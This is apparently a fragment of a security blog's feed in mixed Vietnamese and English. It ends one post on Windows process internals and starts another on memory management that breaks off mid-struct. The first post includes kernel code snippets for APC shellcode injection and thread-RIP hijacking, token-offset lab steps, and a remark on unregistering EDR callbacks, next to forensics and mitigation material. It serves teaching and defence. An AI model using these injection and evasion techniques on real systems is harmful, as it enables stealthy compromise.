PVOID pRemoteCode = NULL;
SIZE_T codeSize = sizeof(shellcode);

ZwAllocateVirtualMemory(
    hTargetProcess,
    &amp;amp;pRemoteCode,
    0,
    &amp;amp;codeSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

// Write shellcode
ZwWriteVirtualMemory(
    hTargetProcess,
    pRemoteCode,
    shellcode,
    sizeof(shellcode),
    NULL
);

// Queue user-mode APC
PETHREAD pThread = ...; // Get target thread
KeInitializeApc(
    &amp;amp;apc,
    pThread,
    OriginalApcEnvironment,
    KernelRoutine,
    RundownRoutine,
    NormalRoutine,      // Points to shellcode
    UserMode,
    NormalContext
);

KeInsertQueueApc(&amp;amp;apc, NULL, NULL, IO_NO_INCREMENT);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Technique 2: Thread Context Manipulation&lt;/h3&gt;
&lt;p&gt;Hijack existing thread bằng cách modify context:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PETHREAD pThread = ...; // Target thread
PKTRAP_FRAME pTrapFrame = (PKTRAP_FRAME)((PUCHAR)pThread + TRAPFRAME_OFFSET);

// Suspend thread
PsSuspendThread(pThread, NULL);

// Modify RIP to point to shellcode
pTrapFrame-&amp;gt;Rip = (ULONG64)shellcodeAddress;

// Modify stack pointer if needed
pTrapFrame-&amp;gt;Rsp = newStackPointer;

// Resume thread
PsResumeThread(pThread, NULL);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Lab Exercises với WinDbg&lt;/h2&gt;
&lt;h3&gt;Exercise 1: Enumerate Processes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS fffffa8000000000
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001a7000  ObjectTable: fffff8a000001000  HandleCount: 1234.
    Image: System

PROCESS fffffa8012345678
    SessionId: 1  Cid: 1a2c    Peb: 7fffffde000  ParentCid: 09b4
    DirBase: 6d8a9000  ObjectTable: fffff8a001234567  HandleCount: 234.
    Image: explorer.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exercise 2: Examine EPROCESS Structure&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !process explorer.exe
PROCESS fffffa8012345678
    SessionId: 1  Cid: 1a2c    Peb: 7fffffde000  ParentCid: 09b4
    ...

kd&amp;gt; dt nt!_EPROCESS fffffa8012345678
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00001a2c  // PID
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   +0x4b8 Token            : _EX_FAST_REF
   +0x5a8 ImageFileName    : [15]  &quot;explorer.exe&quot;

kd&amp;gt; dx -r1 ((nt!_EPROCESS *)0xfffffa8012345678)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exercise 3: Token Analysis&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !token fffffa8012345678
Token: fffff8a001234567
User: S-1-5-21-123456-789-1011-1000 (DESKTOP-ABC\User)
Groups:
 S-1-5-21-123456-789-1011-513 (DESKTOP-ABC\None)
 S-1-5-32-545 (BUILTIN\Users)
 S-1-1-0 (Everyone)
Privs:
 0x000000013 SeShutdownPrivilege           Attributes - Enabled
 0x000000017 SeChangeNotifyPrivilege       Attributes - Enabled Default
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exercise 4: Find Token Offset Dynamically&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; r $t0 = poi(nt!PsInitialSystemProcess)

kd&amp;gt; ? $t0
Evaluate expression: -8796090842232 = fffffa8000000000

kd&amp;gt; dt nt!_EPROCESS $t0 Token
   +0x4b8 Token : _EX_FAST_REF

kd&amp;gt; ? 0x4b8
Evaluate expression: 1208 = 00000000`000004b8
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Detection &amp;amp; Forensics&lt;/h2&gt;
&lt;h3&gt;Detecting DKOM Techniques&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Method 1: Cross-validate với PspCidTable&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Process list từ ActiveProcessLinks
!process 0 0

# Process list từ Handle table
!handle 0 f Process

# Compare lists - missing entries = hidden processes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Method 2: Scan memory cho EPROCESS tags&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; s -d 0 L?0xffffffffffffffff 0x50636f72  # &apos;Proc&apos; pool tag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Method 3: Check process callbacks&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !filecache

kd&amp;gt; dt nt!_OBJECT_TYPE *(poi(nt!PsProcessType))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Memory Forensics với Volatility&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# List processes
volatility -f memory.dmp --profile=Win10x64 pslist

# Find hidden processes
volatility -f memory.dmp --profile=Win10x64 psscan

# Check for unlinked processes
volatility -f memory.dmp --profile=Win10x64 psxview

# Dump process token
volatility -f memory.dmp --profile=Win10x64 getsids -p 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Modern Mitigations&lt;/h2&gt;
&lt;h3&gt;Protected Processes (PP) &amp;amp; PPL&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Protected Process Light (PPL):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Introduced trong Windows 8.1&lt;/li&gt;
&lt;li&gt;Prevents tampering từ non-protected processes&lt;/li&gt;
&lt;li&gt;Even Administrator cannot debug/inject&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Protection Levels:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef enum _PS_PROTECTED_TYPE {
    PsProtectedTypeNone = 0,
    PsProtectedTypeProtectedLight = 1,
    PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE;

typedef enum _PS_PROTECTED_SIGNER {
    PsProtectedSignerNone = 0,
    PsProtectedSignerAuthenticode,
    PsProtectedSignerCodeGen,
    PsProtectedSignerAntimalware,
    PsProtectedSignerLsa,
    PsProtectedSignerWindows,
    PsProtectedSignerWinTcb,
    PsProtectedSignerMax
} PS_PROTECTED_SIGNER;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Bypass:&lt;/strong&gt; Kernel-mode code có thể still manipulate, nhưng requires disabling PatchGuard.&lt;/p&gt;
&lt;h3&gt;Process/Thread Callbacks&lt;/h3&gt;
&lt;p&gt;Windows allows registration của callbacks cho process/thread events:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Register process callback
PsSetCreateProcessNotifyRoutineEx(
    ProcessNotifyCallback,
    FALSE  // Remove = FALSE (add callback)
);

VOID ProcessNotifyCallback(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
) {
    if (CreateInfo != NULL) {
        // Process being created
        DbgPrint(&quot;Process created: %wZ\n&quot;, CreateInfo-&amp;gt;ImageFileName);
    } else {
        // Process exiting
        DbgPrint(&quot;Process exiting: PID %d\n&quot;, ProcessId);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Security Use:&lt;/strong&gt; EDR/AV drivers register callbacks để monitor suspicious activity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Evasion:&lt;/strong&gt; Kernel rootkits có thể unregister callbacks hoặc patch callback array.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Wrapup&lt;/h2&gt;
&lt;p&gt;Understanding Windows process và thread internals - từ &lt;code&gt;EPROCESS&lt;/code&gt;/&lt;code&gt;ETHREAD&lt;/code&gt; structures đến token manipulation và DKOM techniques - là absolutely critical cho kernel exploitation và rootkit development.&lt;/p&gt;
&lt;p&gt;Key takeaways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;EPROCESS/ETHREAD structures&lt;/strong&gt; chứa tất cả process/thread metadata&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Token stealing&lt;/strong&gt; là classic privilege escalation method&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKOM techniques&lt;/strong&gt; allow process hiding và object manipulation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ActiveProcessLinks unlinking&lt;/strong&gt; hides processes từ standard enumeration&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thread injection&lt;/strong&gt; enables code execution trong target processes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modern mitigations&lt;/strong&gt; như PPL và callbacks make exploitation harder&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Knowledge này forms foundation cho advanced Windows exploitation, rootkit development, và memory forensics.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Books:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows Internals, Part 1&lt;/strong&gt; (Chapters 3-4: Processes &amp;amp; Threads) - Russinovich, Solomon, Ionescu&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rootkits: Subverting the Windows Kernel&lt;/strong&gt; - Greg Hoglund, James Butler&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Rootkit Arsenal&lt;/strong&gt; - Bill Blunden&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Papers:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Token Kidnapping&quot; - Cesar Cerrudo&lt;/li&gt;
&lt;li&gt;&quot;DKOM (Direct Kernel Object Manipulation)&quot; - Jamie Butler, Greg Hoglund&lt;/li&gt;
&lt;li&gt;&quot;Bypassing Windows Kernel Security Mitigations&quot; - Multiple authors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://processhacker.sourceforge.io/&quot;&gt;Process Hacker&lt;/a&gt; - Advanced process viewer&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/winsiderss/systeminformer&quot;&gt;System Informer&lt;/a&gt; - System exploration&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.volatilityfoundation.org/&quot;&gt;Volatility&lt;/a&gt; - Memory forensics framework&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;&amp;lt;strong style=&quot;color: red;&quot;&amp;gt;Control the process, own the system.&amp;lt;/strong&amp;gt;&amp;lt;/h2&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows Memory Management Internals: Virtual Memory, Page Tables &amp; Exploitation</title><link>https://wanderlens.vercel.app/posts/windowsmemorymanagement/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/windowsmemorymanagement/</guid><description>Deep dive vào Windows memory management - virtual memory architecture, page tables, VAD trees, và practical implications cho kernel exploitation.</description><pubDate>Sun, 28 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Giới thiệu&lt;/h2&gt;
&lt;p&gt;Memory management là một trong những components phức tạp nhất của Windows kernel. Understanding memory internals không chỉ critical cho exploit development mà còn essential cho malware analysis, rootkit development, và vulnerability research.&lt;/p&gt;
&lt;p&gt;Bài này deep dive vào Windows memory management architecture - từ virtual memory layout, page table structures, đến VAD trees và physical memory management. Chúng ta sẽ focus vào practical implications cho security research và exploitation.&lt;/p&gt;
&lt;h3&gt;Tại sao Memory Management quan trọng?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Đối với Exploit Development:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Understanding page tables → craft reliable exploits&lt;/li&gt;
&lt;li&gt;VAD enumeration → find executable memory regions&lt;/li&gt;
&lt;li&gt;Pool spraying → heap exploitation techniques&lt;/li&gt;
&lt;li&gt;Memory corruption bugs thường liên quan đến memory management&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Đối với Malware/Rootkit Development:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hiding memory regions&lt;/li&gt;
&lt;li&gt;Manipulating VAD structures&lt;/li&gt;
&lt;li&gt;Pool tags để avoid detection&lt;/li&gt;
&lt;li&gt;Direct physical memory access&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Đối với Vulnerability Research:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Memory corruption vulnerabilities&lt;/li&gt;
&lt;li&gt;Use-after-free conditions&lt;/li&gt;
&lt;li&gt;Pool overflow bugs&lt;/li&gt;
&lt;li&gt;Type confusion trong kernel objects&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Virtual Memory Architecture&lt;/h2&gt;
&lt;p&gt;Windows sử dụng &lt;strong&gt;virtual memory system&lt;/strong&gt; để provide mỗi process một isolated address space. Trên x64 Windows, address space được chia làm hai phần:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────────┐
│         64-bit Address Space (x64)                  │
├─────────────────────────────────────────────────────┤
│                                                     │
│  User Space (Ring 3)                                │
│  0x0000000000000000 - 0x00007FFFFFFFFFFF            │
│  Size: 128 TB                                       │
│                                                     │
│  ┌────────────────────────────────────────────┐    │
│  │  Process Private Memory                    │    │
│  │  - Executable Image (PE)                   │    │
│  │  - DLLs                                    │    │
│  │  - Heap                                    │    │
│  │  - Stack                                   │    │
│  │  - Thread Stacks                          │    │
│  └────────────────────────────────────────────┘    │
│                                                     │
├═════════════════════════════════════════════════════┤
│         Non-canonical Address Space                 │
│  0x0000800000000000 - 0xFFFF7FFFFFFFFFFF            │
│  (Invalid - causes access violation)                │
├═════════════════════════════════════════════════════┤
│                                                     │
│  Kernel Space (Ring 0)                              │
│  0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF            │
│  Size: 128 TB                                       │
│                                                     │
│  ┌────────────────────────────────────────────┐    │
│  │  System Memory                             │    │
│  │  - Kernel Image (ntoskrnl.exe)            │    │
│  │  - HAL (hal.dll)                          │    │
│  │  - Drivers (*.sys)                        │    │
│  │  - Paged Pool                             │    │
│  │  - Non-Paged Pool                         │    │
│  │  - System Cache                           │    │
│  │  - PFN Database                           │    │
│  └────────────────────────────────────────────┘    │
│                                                     │
└─────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Key Regions trong Kernel Space&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;System PTEs (Page Table Entries):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Virtual addresses cho mapping I/O space&lt;/li&gt;
&lt;li&gt;Dynamic mapping của physical memory&lt;/li&gt;
&lt;li&gt;Used bởi drivers cho DMA operations&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Paged Pool:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pageable kernel memory&lt;/li&gt;
&lt;li&gt;Có thể được paged out vào disk&lt;/li&gt;
&lt;li&gt;Used cho less critical allocations&lt;/li&gt;
&lt;li&gt;Size: ~300 MB - 600 MB (tuỳ RAM)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Non-Paged Pool:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Always resident trong RAM&lt;/li&gt;
&lt;li&gt;Cannot be paged out&lt;/li&gt;
&lt;li&gt;Used cho critical kernel structures (spinlocks, DPCs, etc.)&lt;/li&gt;
&lt;li&gt;Size: ~75 MB - 300 MB&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;PFN Database:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tracks tất cả physical memory pages&lt;/li&gt;
&lt;li&gt;One entry per physical page&lt;/li&gt;
&lt;li&gt;Size depends on RAM amount&lt;/li&gt;
&lt;li&gt;Critical cho memory management operations&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Trên Windows 10+, &lt;strong&gt;memory compression&lt;/strong&gt; được enabled by default. Thay vì page memory ra disk, Windows compress pages trong RAM để save space. Điều này làm thay đổi behavior của paging và có implications cho memory forensics.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Page Table Structure (4-Level Paging)&lt;/h2&gt;
&lt;p&gt;Windows x64 sử dụng &lt;strong&gt;4-level page table hierarchy&lt;/strong&gt; để translate virtual addresses sang physical addresses. Understanding structure này là essential cho memory exploitation.&lt;/p&gt;
&lt;h3&gt;4-Level Paging Hierarchy&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Virtual Address (64-bit)
┌──────┬──────┬──────┬──────┬──────────────┐
│ Sign │ PML4 │ PDPT │  PD  │  PT  │ Offset│
│ Ext  │Index │Index │Index │Index │       │
├──────┼──────┼──────┼──────┼──────┼───────┤
│16 bit│ 9bit │ 9bit │ 9bit │ 9bit │12 bit │
└──────┴──────┴──────┴──────┴──────┴───────┘
  63-48  47-39  38-30  29-21  20-12   11-0

Translation Process:
┌─────────────────────────────────────────────┐
│  CR3 Register (Physical Address)            │
│  Points to PML4 Table                       │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  PML4 (Page Map Level 4)                    │
│  512 entries (PML4E)                        │
│  Each entry covers 512 GB                   │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  PDPT (Page Directory Pointer Table)        │
│  512 entries (PDPTE)                        │
│  Each entry covers 1 GB                     │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  PD (Page Directory)                        │
│  512 entries (PDE)                          │
│  Each entry covers 2 MB                     │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  PT (Page Table)                            │
│  512 entries (PTE)                          │
│  Each entry covers 4 KB                     │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  Physical Page (4 KB)                       │
│  Actual data location trong RAM             │
└─────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Page Table Entry (PTE) Structure&lt;/h3&gt;
&lt;p&gt;Mỗi PTE là 64-bit value chứa thông tin về page:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _MMPTE_HARDWARE {
    ULONGLONG Valid              : 1;   // Bit 0:  Page is present
    ULONGLONG Write              : 1;   // Bit 1:  Page is writable
    ULONGLONG Owner              : 1;   // Bit 2:  User/Supervisor (0=kernel, 1=user)
    ULONGLONG WriteThrough       : 1;   // Bit 3:  Write-through caching
    ULONGLONG CacheDisable       : 1;   // Bit 4:  Cache disabled
    ULONGLONG Accessed           : 1;   // Bit 5:  Page has been accessed
    ULONGLONG Dirty              : 1;   // Bit 6:  Page has been written to
    ULONGLONG LargePage          : 1;   // Bit 7:  Large page (2MB/1GB)
    ULONGLONG Global             : 1;   // Bit 8:  Global page (TLB)
    ULONGLONG CopyOnWrite        : 1;   // Bit 9:  Copy-on-write
    ULONGLONG Prototype          : 1;   // Bit 10: Prototype PTE
    ULONGLONG Reserved           : 1;   // Bit 11: Reserved
    ULONGLONG PageFrameNumber    : 36;  // Bits 12-47: Physical page number
    ULONGLONG Reserved1          : 4;   // Bits 48-51: Reserved
    ULONGLONG SoftwareWsIndex    : 11;  // Bits 52-62: Software field
    ULONGLONG NoExecute          : 1;   // Bit 63: NX bit (No Execute)
} MMPTE_HARDWARE, *PMMPTE_HARDWARE;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Important PTE Bits cho Security&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Valid Bit (Bit 0):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 = Page not present trong RAM (page fault khi access)&lt;/li&gt;
&lt;li&gt;1 = Page is present&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Write Bit (Bit 1):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 = Read-only page&lt;/li&gt;
&lt;li&gt;1 = Writable page&lt;/li&gt;
&lt;li&gt;Exploits thường target việc flip bit này&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Owner Bit (Bit 2):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 = Supervisor (kernel mode only)&lt;/li&gt;
&lt;li&gt;1 = User (accessible from user mode)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMEP&lt;/strong&gt; enforces execution restrictions dựa trên bit này&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;NoExecute Bit (Bit 63):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 = Executable page&lt;/li&gt;
&lt;li&gt;1 = Non-executable (NX/DEP enabled)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DEP&lt;/strong&gt; dựa vào bit này để prevent code execution&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Virtual Address Translation Example&lt;/h2&gt;
&lt;p&gt;Hãy walk through một virtual address translation manually:&lt;/p&gt;
&lt;h3&gt;Example: Translate &lt;code&gt;0xFFFFF80012345678&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Parse virtual address&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Address: 0xFFFFF80012345678

Binary:
1111 1111 1111 1111 1111 1000 0000 0000 0001 0010 0011 0100 0101 0110 0111 1000

Parse:
Sign Extension: 1111 1111 1111 1111 (bits 63-48)
PML4 Index:     1 1111 1000 (0x1F8 = 504)
PDPT Index:     0 0000 0000 (0x000 = 0)
PD Index:       0 0000 0010 (0x002 = 2)
PT Index:       0 1001 1010 (0x09A = 154)
Offset:         0101 0110 0111 1000 (0x578)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Walk page tables&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Read CR3 → PML4 base address: 0x1A5000

2. PML4[504] lookup:
   Address = 0x1A5000 + (504 * 8) = 0x1A5FC0
   Read PML4E → PDPT base: 0x2B6000

3. PDPT[0] lookup:
   Address = 0x2B6000 + (0 * 8) = 0x2B6000
   Read PDPTE → PD base: 0x3C7000

4. PD[2] lookup:
   Address = 0x3C7000 + (2 * 8) = 0x3C7010
   Read PDE → PT base: 0x4D8000

5. PT[154] lookup:
   Address = 0x4D8000 + (154 * 8) = 0x4D84D0
   Read PTE → Physical page: 0x5E9000

6. Final physical address:
   Physical = 0x5E9000 + 0x578 = 0x5E9578
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Examine PTE bits&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PTE Value: 0x0000000005E9867
Binary:   0000 ... 0101 1110 1001 1000 0110 0111

Bits:
- Valid:     1 (page present)
- Write:     1 (writable)
- Owner:     1 (user accessible)
- Accessed:  1 (has been accessed)
- Dirty:     0 (not modified)
- NX:        0 (executable)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;VAD (Virtual Address Descriptor) Trees&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;VAD trees&lt;/strong&gt; track tất cả virtual memory allocations trong một process. Mỗi process có một VAD tree trong &lt;code&gt;EPROCESS&lt;/code&gt; structure.&lt;/p&gt;
&lt;h3&gt;VAD Structure&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _MMVAD {
    union {
        LONG_PTR Balance : 2;           // AVL tree balance
        struct _MMVAD *Parent;
    };
    struct _MMVAD *LeftChild;
    struct _MMVAD *RightChild;

    ULONG_PTR StartingVpn;              // Starting virtual page number
    ULONG_PTR EndingVpn;                // Ending virtual page number

    union {
        ULONG LongFlags;
        struct {
            ULONG CommitCharge    : 19; // Pages committed
            ULONG MemCommit       : 1;  // Memory is committed
            ULONG Protection      : 5;  // Page protection
            ULONG NoChange        : 1;  // Cannot change protection
            ULONG PrivateMemory   : 1;  // Private memory
            // ... more flags
        };
    } u;

    PCONTROL_AREA ControlArea;          // Points to file mapping
    PVOID FirstPrototypePte;            // First prototype PTE
    PVOID LastContiguousPte;            // Last contiguous PTE
} MMVAD, *PMMVAD;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;VAD Tree trong EPROCESS&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _EPROCESS {
    // ... other fields

    PMM_AVL_TABLE VadRoot;              // Root của VAD tree

    // ... more fields
} EPROCESS, *PEPROCESS;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Enumerating VADs với WinDbg&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;List tất cả VADs của một process:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !process 0 0 notepad.exe
PROCESS fffffa8012345678
    SessionId: 1  Cid: 1234    Peb: 7fffffde000  ParentCid: 5678
    DirBase: 1a5000  ObjectTable: fffff8a001234567  HandleCount: 234.
    Image: notepad.exe

kd&amp;gt; !vad fffffa8012345678
VAD     Level      Start          End          Commit
fffff6fb40123456  0   7ff7e0d0000  7ff7e0e0000      3 Private      READWRITE
fffff6fb40234567  1   7ff7e0e0000  7ff7e0f0000      5 Private      EXECUTE_READWRITE
fffff6fb40345678  2   7ff7e100000  7ff7e200000     16 Mapped       READONLY
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;View detailed VAD info:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; dt nt!_MMVAD fffff6fb40123456
   +0x000 Core             : _MMVAD_SHORT
   +0x040 u2               : _MMVAD_FLAGS2
   +0x044 Subsection       : 0xfffff6fb`40123400
   +0x04c FirstPrototypePte : 0xfffff6fb`40123500
   +0x054 LastContiguousPte : 0xfffff6fb`40123600
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Protection Flags trong VAD&lt;/h3&gt;
&lt;p&gt;VAD tracks page protection cho mỗi memory region:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Protection&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x01&lt;/td&gt;
&lt;td&gt;PAGE_NOACCESS&lt;/td&gt;
&lt;td&gt;No access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x02&lt;/td&gt;
&lt;td&gt;PAGE_READONLY&lt;/td&gt;
&lt;td&gt;Read only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x04&lt;/td&gt;
&lt;td&gt;PAGE_READWRITE&lt;/td&gt;
&lt;td&gt;Read/Write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x08&lt;/td&gt;
&lt;td&gt;PAGE_WRITECOPY&lt;/td&gt;
&lt;td&gt;Copy-on-write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x10&lt;/td&gt;
&lt;td&gt;PAGE_EXECUTE&lt;/td&gt;
&lt;td&gt;Execute only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x20&lt;/td&gt;
&lt;td&gt;PAGE_EXECUTE_READ&lt;/td&gt;
&lt;td&gt;Execute/Read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x40&lt;/td&gt;
&lt;td&gt;PAGE_EXECUTE_READWRITE&lt;/td&gt;
&lt;td&gt;Execute/Read/Write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x80&lt;/td&gt;
&lt;td&gt;PAGE_EXECUTE_WRITECOPY&lt;/td&gt;
&lt;td&gt;Execute + COW&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Physical Memory Management (PFN Database)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;PFN (Page Frame Number) Database&lt;/strong&gt; là một large array tracking tất cả physical memory pages trong system.&lt;/p&gt;
&lt;h3&gt;PFN Structure&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _MMPFN {
    union {
        PFN_NUMBER Flink;               // Forward link
        ULONG WsIndex;                  // Working set index
        PVOID VolatileVadAddress;       // VAD address
    } u1;

    PMMPTE PteAddress;                  // PTE pointing to this page

    union {
        PFN_NUMBER Blink;               // Backward link
        ULONG ShareCount;               // Share count
    } u2;

